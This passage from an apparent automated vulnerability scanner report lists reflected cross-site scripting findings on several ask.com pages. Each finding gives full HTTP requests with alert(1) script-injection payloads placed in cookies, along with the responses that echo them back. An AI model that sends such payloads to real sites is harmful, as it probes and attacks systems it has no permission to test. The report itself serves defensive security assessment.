GET /answers/7153311/is-nail-polish-bad-for-your-nails?qsrc=4034 HTTP/1.1
Host: www.ask.com
Proxy-Connection: keep-alive
Referer: http://www.ask.com/?o=0&l=dir
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cu.wz=0; wz_cu=0; tbe=1; accepting=1; user=o=0&l=dir; ldpt=porg=5829|0~5830|0~5832|0~5833|0~5834|0~5488|0~5489|1; wz_uid=0845DB8DB66BB2CFE0A8DECE14D761F3; wz_scnt=1; __utmz=252994457.1300982764.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=252994457.137424121.1300982764.1300982764.1300982764.1; __utmc=252994457; __utmb=252994457.3.10.1300982764; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; qc=0; puser=pt=VGh1LTI0LU1hci0yMDExLTE2OjA3OjUxLVVUQw%3D%3D&po=0&pp=dir; wz_sid=0144DB8DB86BB2CFE0A8DECE14D761F3448cb'-alert(1)-'938aa2c9db6

Response

HTTP/1.1 200 OK
Server: Apache
Cache-Control: no-cache
Content-Type: text/html;charset=UTF-8
Date: Thu, 24 Mar 2011 16:13:38 GMT
Connection: close
Vary: Accept-Encoding
Set-Cookie: gcht=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: gc=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: puser=pt=VGh1LTI0LU1hci0yMDExLTE2OjEzOjM3LVVUQw%3D%3D&po=0&pp=dir; Domain=.ask.com; Expires=Fri, 23-Mar-2012 16:13:37 GMT; Path=/
Set-Cookie: skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; Domain=.ask.com; Expires=Fri, 23-Mar-2012 16:13:37 GMT; Path=/
Set-Cookie: gct=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: qc=0; Domain=.ask.com; Path=/
Content-Length: 118258

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Strict//EN">

<html>

<head>

...[SNIP]...
<iframe id="mar" src="http://fls.doubleclick.net/activityi;src=2903398;type=spons876;cat=ask_s775;u1=0845DB8DB66BB2CFE0A8DECE14D761F3;u4=0144DB8DB86BB2CFE0A8DECE14D761F3448cb'-alert(1)-'938aa2c9db6;u3=0;u2=;ord=-628091965?" width="1" height="1" frameborder="0">
...[SNIP]...

1.19. http://www.ask.com/answers/7153311/is-nail-polish-bad-for-your-nails [wz_uid cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.ask.com
Path:	/answers/7153311/is-nail-polish-bad-for-your-nails

Issue detail

The value of the wz_uid cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 7b8a6'-alert(1)-'f2ed5ba8a49 was submitted in the wz_uid cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /answers/7153311/is-nail-polish-bad-for-your-nails?qsrc=4034 HTTP/1.1
Host: www.ask.com
Proxy-Connection: keep-alive
Referer: http://www.ask.com/?o=0&l=dir
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cu.wz=0; wz_cu=0; tbe=1; accepting=1; user=o=0&l=dir; ldpt=porg=5829|0~5830|0~5832|0~5833|0~5834|0~5488|0~5489|1; wz_uid=0845DB8DB66BB2CFE0A8DECE14D761F37b8a6'-alert(1)-'f2ed5ba8a49; wz_scnt=1; __utmz=252994457.1300982764.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=252994457.137424121.1300982764.1300982764.1300982764.1; __utmc=252994457; __utmb=252994457.3.10.1300982764; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; qc=0; puser=pt=VGh1LTI0LU1hci0yMDExLTE2OjA3OjUxLVVUQw%3D%3D&po=0&pp=dir; wz_sid=0144DB8DB86BB2CFE0A8DECE14D761F3

Response

HTTP/1.1 200 OK
Server: Apache
Cache-Control: no-cache
Content-Type: text/html;charset=UTF-8
Vary: Accept-Encoding
Date: Thu, 24 Mar 2011 16:13:12 GMT
Connection: close
Set-Cookie: gcht=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: gc=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: puser=pt=VGh1LTI0LU1hci0yMDExLTE2OjEzOjExLVVUQw%3D%3D&po=0&pp=dir; Domain=.ask.com; Expires=Fri, 23-Mar-2012 16:13:11 GMT; Path=/
Set-Cookie: skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; Domain=.ask.com; Expires=Fri, 23-Mar-2012 16:13:11 GMT; Path=/
Set-Cookie: gct=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: qc=0; Domain=.ask.com; Path=/
Content-Length: 118260

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Strict//EN">

<html>

<head>

...[SNIP]...
<iframe id="mar" src="http://fls.doubleclick.net/activityi;src=2903398;type=spons876;cat=ask_s775;u1=0845DB8DB66BB2CFE0A8DECE14D761F37b8a6'-alert(1)-'f2ed5ba8a49;u4=0144DB8DB86BB2CFE0A8DECE14D761F3;u3=0;u2=;ord=-201217928?" width="1" height="1" frameborder="0">
...[SNIP]...

1.20. http://www.ask.com/ja-ask-dialog [wz_cu cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.ask.com
Path:	/ja-ask-dialog

Issue detail

The value of the wz_cu cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b4794"-alert(1)-"74436131dfe was submitted in the wz_cu cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /ja-ask-dialog?type=signin HTTP/1.1
Host: www.ask.com
Proxy-Connection: keep-alive
Referer: http://www.ask.com/?o=0&l=dir
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: text/html, */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cu.wz=0; wz_cu=0b4794"-alert(1)-"74436131dfe; tbe=1; accepting=1; user=o=0&l=dir; ldpt=porg=5829|0~5830|0~5832|0~5833|0~5834|0~5488|0~5489|1; wz_uid=0845DB8DB66BB2CFE0A8DECE14D761F3; wz_scnt=1; __utmz=252994457.1300982764.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); wz_sid=0144DB8DB86BB2CFE0A8DECE14D761F3; __utma=252994457.137424121.1300982764.1300982764.1300982764.1; __utmc=252994457; __utmb=252994457.2.10.1300982764; puser=pt=VGh1LTI0LU1hci0yMDExLTE2OjA2OjU5LVVUQw%3D%3D&po=0&pp=dir; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; qc=0

Response

HTTP/1.1 200 OK
Server: Apache
Cache-Control: no-cache
Content-Type: text/html;charset=UTF-8
Date: Thu, 24 Mar 2011 16:07:09 GMT
Connection: close
Vary: Accept-Encoding
Set-Cookie: puser=pt=VGh1LTI0LU1hci0yMDExLTE2OjA3OjA5LVVUQw%3D%3D&po=0&pp=dir; Domain=.ask.com; Expires=Fri, 23-Mar-2012 16:07:09 GMT; Path=/
Content-Length: 69091

...[SNIP]...
JASK.ask_dialog = JASK.ask_dialog(JASK.ask_dialog,{
"sessionTracker1":"http://wzus1.ask.com/i/i.gif?t=v&d=us&s=a&c=jaq&l=dir&o=0&ld=5489&sv=0a5c404e&p=ja-ask-dialog&rf=0&ord=3573624&wz_cu=0b4794"-alert(1)-"74436131dfe",
"sessionTracker2":"http://wzus1.ask.com/i/i.gif?t=v&d=us&s=a&c=jaq&l=dir&o=0&ld=5489&sv=0a5c404e&p=ja-ask-dialog&rf=0&ord=3573624&wz_cu=0b4794"-alert(1)-"74436131dfe",
"sessi
...[SNIP]...

1.21. http://www.ask.com/pictures [wz_cu cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.ask.com
Path:	/pictures

Issue detail

The value of the wz_cu cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a6902"><script>alert(1)</script>42fb11faf5 was submitted in the wz_cu cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /pictures?q=Star+Jones&o=0&l=dir&qsrc=3015 HTTP/1.1
Host: www.ask.com
Proxy-Connection: keep-alive
Referer: http://www.ask.com/pictureslanding?o=0&l=dir
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cu.wz=0; wz_cu=0a6902"><script>alert(1)</script>42fb11faf5; tbe=1; accepting=1; user=o=0&l=dir; ldpt=porg=5829|0~5830|0~5832|0~5833|0~5834|0~5488|0~5489|1; wz_uid=0845DB8DB66BB2CFE0A8DECE14D761F3; wz_scnt=1; __utmz=252994457.1300982764.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; qc=0; puser=pt=VGh1LTI0LU1hci0yMDExLTE2OjA3OjA3LVVUQw%3D%3D&po=0&pp=dir; wz_sid=0144DB8DB86BB2CFE0A8DECE14D761F3; __utma=252994457.137424121.1300982764.1300982764.1300982764.1; __utmc=252994457; __utmb=252994457.3.10.1300982764

Response

HTTP/1.1 200 OK
Server: Apache
Cache-Control: private
Content-Type: text/html;charset=UTF-8
Date: Thu, 24 Mar 2011 16:10:26 GMT
Connection: close
Vary: Accept-Encoding
Set-Cookie: gcht=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: gc=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: puser=pt=VGh1LTI0LU1hci0yMDExLTE2OjEwOjI2LVVUQw%3D%3D&po=0&pp=dir; Domain=.ask.com; Expires=Fri, 23-Mar-2012 16:10:26 GMT; Path=/
Set-Cookie: skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; Domain=.ask.com; Expires=Fri, 23-Mar-2012 16:10:26 GMT; Path=/
Set-Cookie: gct=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: qc=0; Domain=.ask.com; Path=/
Content-Length: 106893

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Strict//EN">
<html>
<head>

...[SNIP]...
<img src="http://wzus1.ask.com/i/i.gif?t=v&d=us&s=a&c=p&l=dir&o=0&ld=5489&sv=0a5c4050&p=pictures&rf=0&ord=521318&wz_cu=0a6902"><script>alert(1)</script>42fb11faf5" height=1 width=1 id="SessionTracker" />
...[SNIP]...

1.22. http://www.ask.com/pictures [wz_cu cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.ask.com
Path:	/pictures

Issue detail

The value of the wz_cu cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 71745"-alert(1)-"e6b3eee7903 was submitted in the wz_cu cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /pictures?q=Star+Jones&o=0&l=dir&qsrc=3015 HTTP/1.1
Host: www.ask.com
Proxy-Connection: keep-alive
Referer: http://www.ask.com/pictureslanding?o=0&l=dir
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cu.wz=0; wz_cu=071745"-alert(1)-"e6b3eee7903; tbe=1; accepting=1; user=o=0&l=dir; ldpt=porg=5829|0~5830|0~5832|0~5833|0~5834|0~5488|0~5489|1; wz_uid=0845DB8DB66BB2CFE0A8DECE14D761F3; wz_scnt=1; __utmz=252994457.1300982764.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; qc=0; puser=pt=VGh1LTI0LU1hci0yMDExLTE2OjA3OjA3LVVUQw%3D%3D&po=0&pp=dir; wz_sid=0144DB8DB86BB2CFE0A8DECE14D761F3; __utma=252994457.137424121.1300982764.1300982764.1300982764.1; __utmc=252994457; __utmb=252994457.3.10.1300982764

Response

HTTP/1.1 200 OK
Server: Apache
Cache-Control: private
Content-Type: text/html;charset=UTF-8
Vary: Accept-Encoding
Date: Thu, 24 Mar 2011 16:10:28 GMT
Connection: close
Set-Cookie: gcht=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: gc=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: puser=pt=VGh1LTI0LU1hci0yMDExLTE2OjEwOjI4LVVUQw%3D%3D&po=0&pp=dir; Domain=.ask.com; Expires=Fri, 23-Mar-2012 16:10:28 GMT; Path=/
Set-Cookie: skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; Domain=.ask.com; Expires=Fri, 23-Mar-2012 16:10:28 GMT; Path=/
Set-Cookie: gct=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: qc=0; Domain=.ask.com; Path=/
Content-Length: 106727

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Strict//EN">
<html>
<head>

...[SNIP]...
Image();
st.height = 1;
st.width = 1;
st.id = "SessionTracker";
st.src = "http://wzus1.ask.com/i/i.gif?t=v&d=us&s=a&c=p&l=dir&o=0&ld=5489&sv=0a5c4050&p=pictures&rf=0&ord=5338033&wz_cu=071745"-alert(1)-"e6b3eee7903";

</script>
...[SNIP]...

1.23. http://www.ask.com/pictures [wz_sid cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.ask.com
Path:	/pictures

Issue detail

The value of the wz_sid cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5f7de'-alert(1)-'a5bf6391ec6 was submitted in the wz_sid cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /pictures?q=Star+Jones&o=0&l=dir&qsrc=3015 HTTP/1.1
Host: www.ask.com
Proxy-Connection: keep-alive
Referer: http://www.ask.com/pictureslanding?o=0&l=dir
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cu.wz=0; wz_cu=0; tbe=1; accepting=1; user=o=0&l=dir; ldpt=porg=5829|0~5830|0~5832|0~5833|0~5834|0~5488|0~5489|1; wz_uid=0845DB8DB66BB2CFE0A8DECE14D761F3; wz_scnt=1; __utmz=252994457.1300982764.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; qc=0; puser=pt=VGh1LTI0LU1hci0yMDExLTE2OjA3OjA3LVVUQw%3D%3D&po=0&pp=dir; wz_sid=0144DB8DB86BB2CFE0A8DECE14D761F35f7de'-alert(1)-'a5bf6391ec6; __utma=252994457.137424121.1300982764.1300982764.1300982764.1; __utmc=252994457; __utmb=252994457.3.10.1300982764

Response

HTTP/1.1 200 OK
Server: Apache
Cache-Control: private
Content-Type: text/html;charset=UTF-8
Vary: Accept-Encoding
Date: Thu, 24 Mar 2011 16:10:48 GMT
Connection: close
Set-Cookie: gcht=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: gc=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: puser=pt=VGh1LTI0LU1hci0yMDExLTE2OjEwOjQ4LVVUQw%3D%3D&po=0&pp=dir; Domain=.ask.com; Expires=Fri, 23-Mar-2012 16:10:48 GMT; Path=/
Set-Cookie: skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; Domain=.ask.com; Expires=Fri, 23-Mar-2012 16:10:48 GMT; Path=/
Set-Cookie: gct=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: qc=0; Domain=.ask.com; Path=/
Content-Length: 106418

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Strict//EN">
<html>
<head>

...[SNIP]...
<iframe id="mar" src="http://fls.doubleclick.net/activityi;src=2903398;type=spons876;cat=ask_s775;u1=0845DB8DB66BB2CFE0A8DECE14D761F3;u4=0144DB8DB86BB2CFE0A8DECE14D761F35f7de'-alert(1)-'a5bf6391ec6;u3=0;u2=;ord=-313947270?" width="1" height="1" frameborder="0">
...[SNIP]...

1.24. http://www.ask.com/pictures [wz_uid cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.ask.com
Path:	/pictures

Issue detail

The value of the wz_uid cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload df97a'-alert(1)-'a1578735830 was submitted in the wz_uid cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /pictures?q=Star+Jones&o=0&l=dir&qsrc=3015 HTTP/1.1
Host: www.ask.com
Proxy-Connection: keep-alive
Referer: http://www.ask.com/pictureslanding?o=0&l=dir
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cu.wz=0; wz_cu=0; tbe=1; accepting=1; user=o=0&l=dir; ldpt=porg=5829|0~5830|0~5832|0~5833|0~5834|0~5488|0~5489|1; wz_uid=0845DB8DB66BB2CFE0A8DECE14D761F3df97a'-alert(1)-'a1578735830; wz_scnt=1; __utmz=252994457.1300982764.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; qc=0; puser=pt=VGh1LTI0LU1hci0yMDExLTE2OjA3OjA3LVVUQw%3D%3D&po=0&pp=dir; wz_sid=0144DB8DB86BB2CFE0A8DECE14D761F3; __utma=252994457.137424121.1300982764.1300982764.1300982764.1; __utmc=252994457; __utmb=252994457.3.10.1300982764

Response

HTTP/1.1 200 OK
Server: Apache
Cache-Control: private
Content-Type: text/html;charset=UTF-8
Vary: Accept-Encoding
Date: Thu, 24 Mar 2011 16:10:37 GMT
Connection: close
Set-Cookie: gcht=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: gc=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: puser=pt=VGh1LTI0LU1hci0yMDExLTE2OjEwOjM2LVVUQw%3D%3D&po=0&pp=dir; Domain=.ask.com; Expires=Fri, 23-Mar-2012 16:10:36 GMT; Path=/
Set-Cookie: skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; Domain=.ask.com; Expires=Fri, 23-Mar-2012 16:10:36 GMT; Path=/
Set-Cookie: gct=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: qc=0; Domain=.ask.com; Path=/
Content-Length: 106419

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Strict//EN">
<html>
<head>

...[SNIP]...
<iframe id="mar" src="http://fls.doubleclick.net/activityi;src=2903398;type=spons876;cat=ask_s775;u1=0845DB8DB66BB2CFE0A8DECE14D761F3df97a'-alert(1)-'a1578735830;u4=0144DB8DB86BB2CFE0A8DECE14D761F3;u3=0;u2=;ord=-1116380978?" width="1" height="1" frameborder="0">
...[SNIP]...

1.25. http://www.ask.com/pictureslanding [wz_cu cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.ask.com
Path:	/pictureslanding

Issue detail

The value of the wz_cu cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 284b6"-alert(1)-"2961042f29c was submitted in the wz_cu cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /pictureslanding?o=0&l=dir HTTP/1.1
Host: www.ask.com
Proxy-Connection: keep-alive
Referer: http://www.ask.com/?o=0&l=dir
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cu.wz=0; wz_cu=0284b6"-alert(1)-"2961042f29c; tbe=1; accepting=1; user=o=0&l=dir; ldpt=porg=5829|0~5830|0~5832|0~5833|0~5834|0~5488|0~5489|1; wz_uid=0845DB8DB66BB2CFE0A8DECE14D761F3; wz_scnt=1; __utmz=252994457.1300982764.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); wz_sid=0144DB8DB86BB2CFE0A8DECE14D761F3; __utma=252994457.137424121.1300982764.1300982764.1300982764.1; __utmc=252994457; __utmb=252994457.2.10.1300982764; skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; qc=0; puser=pt=VGh1LTI0LU1hci0yMDExLTE2OjA3OjAwLVVUQw%3D%3D&po=0&pp=dir

Response

HTTP/1.1 200 OK
Server: Apache
Cache-Control: private
Content-Type: text/html;charset=UTF-8
Date: Thu, 24 Mar 2011 16:07:18 GMT
Connection: close
Vary: Accept-Encoding
Set-Cookie: gcht=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: gc=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: puser=pt=VGh1LTI0LU1hci0yMDExLTE2OjA3OjE4LVVUQw%3D%3D&po=0&pp=dir; Domain=.ask.com; Expires=Fri, 23-Mar-2012 16:07:18 GMT; Path=/
Set-Cookie: skftc=ftc_ret=0&ftc_ac4=0&ftc_ord=0&ftc_ac2=0&ftc_ac3=0&ftc_ac1=0&ftc_scr=0&ftc_pst=0; Domain=.ask.com; Expires=Fri, 23-Mar-2012 16:07:18 GMT; Path=/
Set-Cookie: gct=; Domain=.ask.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: qc=0; Domain=.ask.com; Path=/
Content-Length: 59473

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Strict//EN">
<html>
<head>

<tit
...[SNIP]...

st.height = 1;
st.width = 1;
st.id = "SessionTracker";
st.src = "http://wzus1.ask.com/i/i.gif?t=v&d=us&s=a&c=ph&l=dir&o=0&ld=5489&sv=0a5c4070&p=pictureslanding&rf=0&ord=4433187&wz_cu=0284b6"-alert(1)-"2961042f29c";

</script>
...[SNIP]...

1.26. http://www.ask.com/pictureslanding [wz_cu cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.ask.com
Path:	/pictureslanding

Issue detail

The value of the wz_cu cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b6fc8"><script>alert(1)</script>dbb23d0e710 was submitted in the wz_cu cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /pictureslanding?o=0&l=dir HTTP/1.1
Host: www.ask.com
Proxy-Connection: keep-alive
Referer: http://www.ask.com/?o=0&l=dir
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
